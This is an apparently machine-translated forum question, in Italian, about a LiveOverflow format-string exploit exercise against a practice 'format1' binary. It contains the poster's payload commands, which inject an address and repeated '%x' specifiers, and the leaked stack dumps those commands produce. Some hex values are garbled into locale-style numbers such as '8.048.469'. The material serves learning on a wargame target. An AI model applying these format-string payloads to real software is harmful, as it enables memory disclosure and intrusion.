Stavo seguendo l'esempio di exploit LiveUpflow Format String e ho avuto difficoltà a comprendere ed eseguire alcune cose specificamente con questa linea
./format1 "'\python -c "print 'AAAA' + '\x38\x96\x04\x08'+'BBBBB'+'%x '*127"'"
Perché la modifica del moltiplicatore di %x modifica i risultati finali in modo così drastico?
./format1 "'\python -c "print 'AAAA' + '\x38\x96\x04\x08'+'BBBBB'+'%x '*127"'"
restituisce:
AAAA8BBBBB804960c bffff678 8.048.469 b7fd8304 b7fd7ff4 bffff678 8.048.435 bffff83c b7ff1040 804845b b7fd7ff4 8.048.450 0 bffff6f8 b7eadc76 2 bffff724 bffff730 b7fe1848 bffff6e0 ffffffff b7ffeff4 804824d 1 bffff6e0 b7ff0626 b7fffab0 b7fe1b28 b7fd7ff4 0 0 bffff6f8 2f92343f 5c7422f 0 0 0 2 8.048.340 0 b7ff6210 b7eadb9b b7ffeff4 2 8.048.340 0 8.048.361 804841c 2 bffff724 8.048.450 8.048.440 b7ff1040 bffff71c b7fff8f8 2 bffff832 bffff83c 0 bffff9c7 bffff9d5 bffff9e0 bffff9fd bffffa10 bffffa1a bfffff0a bfffff48 bfffff5c bfffff73 bfffff84 bfffff8c bfffff9c bfffffa9 bfffffd4 bfffffe6 0 20 b7fe2414 21 b7fe2000 10 78bfbbf 6 1000 11 64 3 8.048.034 4 20 5 7 7 b7fe3000 8 0 9 8048340 b 3e9 c 0 d 3e9 e 3e9 17 1 19 bffff81b 1f bffffff2 f bffff82b 0 0 0 6c000000 9a0c6950 e1a0683f 582c0d64 69e4341a 363836 2f2e0000 6d726f66 317461 41414141
, mentre
./ format1 " \python -c "print 'AAAA' + '\x38\x96\x04\x08'+'BBBBB'+'%x '*128" "
risultati in:
AAAA8BBBBB804960c bffff668 8.048.469 b7fd8304 b7fd7ff4 bffff668 8.048.435 bffff839 b7ff1040 804845b b7fd7ff4 8.048.450 0 bffff6e8 b7eadc76 2 bffff714 bffff720 b7fe1848 bffff6d0 ffffffff b7ffeff4 804824d 1 bffff6d0 b7ff0626 b7fffab0 b7fe1b28 b7fd7ff4 0 0 bffff6e8 b22efc82 987a6a92 0 0 0 2 8.048.340 0 b7ff6210 b7eadb9b b7ffeff4 2 8.048.340 0 8.048.361 804841c 2 bffff714 8.048.450 8.048.440 b7ff1040 bffff70c b7fff8f8 2 bffff82f bffff839 0 bffff9c7 bffff9d5 bffff9e0 bffff9fd bffffa10 bffffa1a bfffff0a bfffff48 bfffff5c bfffff73 bfffff84 bfffff8c bfffff9c bfffffa9 bfffffd4 bfffffe6 0 20 b7fe2414 21 b7fe2000 10 78bfbbf 6 1000 11 64 3 8.048.034 4 20 5 7 7 b7fe3000 8 0 9 8048340 b 3e9 c 0 d 3e9 e 3e9 17 1 19 bffff80b 1f bffffff2 f bffff81b 0 0 0 22000000 eb659d4 81fea6e1 db3d40c 69b9e569 363836 0 0 0 2e000000 726f662f
La maggior parte della linea di fine è diversa e ne ho aggiunta solo una al moltiplicatore
2) Stavo cercando di aggiungere %x alla fine del mio codice (cambiando
./format1 "'\python -c "print 'AAAA' + '\x38\x96\x04\x08'+'BBBBB'+'%x '*127"'"
a
./format1 "'\python -c "print 'AAAA' + '\x38\x96\x04\x08'+'BBBBB'+'%x '*127 + '%x '"'")
come fa nel suo video ma ho capito:
AAAA8BBBBB804960c bffff678 8.048.469 b7fd8304 b7fd7ff4 bffff678 8.048.435 bffff83a b7ff1040 804845b b7fd7ff4 8.048.450 0 bffff6f8 b7eadc76 2 bffff724 bffff730 b7fe1848 bffff6e0 ffffffff b7ffeff4 804824d 1 bffff6e0 b7ff0626 b7fffab0 b7fe1b28 b7fd7ff4 0 0 bffff6f8 333561eb 196017fb 0 0 0 2 8.048.340 0 b7ff6210 b7eadb9b b7ffeff4 2 8.048.340 0 8.048.361 804841c 2 bffff724 8.048.450 8.048.440 b7ff1040 bffff71c b7fff8f8 2 bffff830 bffff83a 0 bffff9c7 bffff9d5 bffff9e0 bffff9fd bffffa10 bffffa1a bfffff0a bfffff48 bfffff5c bfffff73 bfffff84 bfffff8c bfffff9c bfffffa9 bfffffd4 bfffffe6 0 20 b7fe2414 21 b7fe2000 10 78bfbbf 6 1000 11 64 3 8.048.034 4 20 5 7 7 b7fe3000 8 0 9 8048340 b 3e9 c 0 d 3e9 e 3e9 17 1 19 bffff81b 1f bffffff2 f bffff82b 0 0 0 12000000 30ac1e39 b74a666c 80429919 695daa9a 363836 6f662f2e 74616d72 41410031 96384141 42420804
invece di ciò che ottiene nel suo video:
AAAA8BBBBB804960c bffff678 8.048.469 b7fd8304 b7fd7ff4 bffff678 8.048.435 bffff83c b7ff1040 804845b b7fd7ff4 8.048.450 0 bffff6f8 b7eadc76 2 bffff724 bffff730 b7fe1848 bffff6e0 ffffffff b7ffeff4 804824d 1 bffff6e0 b7ff0626 b7fffab0 b7fe1b28 b7fd7ff4 0 0 bffff6f8 2f92343f 5c7422f 0 0 0 2 8.048.340 0 b7ff6210 b7eadb9b b7ffeff4 2 8.048.340 0 8.048.361 804841c 2 bffff724 8.048.450 8.048.440 b7ff1040 bffff71c b7fff8f8 2 bffff832 bffff83c 0 bffff9c7 bffff9d5 bffff9e0 bffff9fd bffffa10 bffffa1a bfffff0a bfffff48 bfffff5c bfffff73 bfffff84 bfffff8c bfffff9c bfffffa9 bfffffd4 bfffffe6 0 20 b7fe2414 21 b7fe2000 10 78bfbbf 6 1000 11 64 3 8.048.034 4 20 5 7 7 b7fe3000 8 0 9 8048340 b 3e9 c 0 d 3e9 e 3e9 17 1 19 bffff81b 1f bffffff2 f bffff82b 0 0 0 6c000000 9a0c6950 e1a0683f 582c0d64 69e4341a 363836 2f2e0000 6d726f66 317461 41414141 8049638